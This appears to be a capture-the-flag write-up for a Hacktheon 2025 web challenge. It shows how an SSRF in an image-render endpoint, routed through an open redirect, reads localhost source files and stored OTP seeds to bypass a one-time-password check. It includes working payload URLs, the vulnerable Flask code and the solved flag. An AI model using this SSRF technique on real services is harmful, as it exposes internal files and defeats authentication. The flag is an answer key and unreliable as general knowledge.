Invalid OTP
Introduction
Hacktheon Sejong 2025
Category: Web
Write-up date: 07/05/2025
A vulnerability has been discovered in the OTP implementation.
Successfully authenticate and find the hidden flag in the email
Flag format: FLAG{_}
Point: normal
SSRF
In the login form, it's get image form the endpoint /image_render. The endpoint has a url parameter that accept
everything without strict validation. The endpoints allow access to the localhost via redirect service like
307.r3dir.me redirect.
http://hacktheon2025-challs-alb-1354048441.ap-northeast-2.elb.amazonaws.com:39406/image_render?url=https://307.r3dir.me/--to/?url=http://localhost/

When accessing the localhost, the internal directory structure review. Using the same SSRF, we can easily access all the functions that the web uses to handle endpoints.
http://hacktheon2025-challs-alb-1354048441.ap-northeast-2.elb.amazonaws.com:39406/image_render?url=https://307.r3dir.me/--to/?url=http://localhost/app.py

Pseudo RNG
When a user tries to log in, the website requests username and password credentials of user hardcoded in the source code
of otp.py. Then, they will generate PRNG seed and put it in otp_seeds.json. Using SSRF from earlier, we can extract
the seed from otp_seed.json

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "GET":
return render_template('login.html')
username = request.form.get('user_id')
password = request.form.get('password')
if username in users and users[username]["password"] == password:
session_id, _ = get_session_id()
session['user'] = username
session['session_id'] = session_id
session['seed'] = int(time.time()) + random.randint(1000, 9999)
session['created_at'] = time.time()
session['otp_check'] = False
seeds = load_seeds()
seeds[session_id] = {
"seed": session['seed'],
"created_at": session['created_at']
}
save_seeds(seeds)
return redirect_with_alert("Login successful.", "/otp")
else:
flash("Invalid credentials.")
return redirect("/login")
Continue to check otp function. In the code they generate otp two times, one in
print("Test OTP : ", requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2)), and another is
actual expected_otp. So to match otp with websites, we have to generate otp two times and submit the last one

@app.route('/otp', methods=['GET', 'POST'])
def otp():
if 'user' not in session:
return "Please login first."
if request.method == "GET":
return render_template('otp.html')
session_id = session['session_id']
try:
print("Test OTP : ", requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2))
response = requests.get(f"http://127.0.0.1/otp_gen?session_id={session_id}", timeout=2)
if response.status_code != 200:
return "Failed to generate OTP."
expected_otp = response.json().get("otp")
except:
return "Failed to generate OTP."
otp = request.form.get('otp')
time.sleep(5) # burte force protection
if otp == expected_otp:
session['otp_check'] = True
session['flag'] = open("/FLAG", "r").read()
return redirect_with_alert("OTP verification successful.", "/")
else:
flash("Invalid OTP.")
return redirect("/otp")
FLAG: FLAG{55rf_byp455_0tp_prn9_345y_cr4ck3d}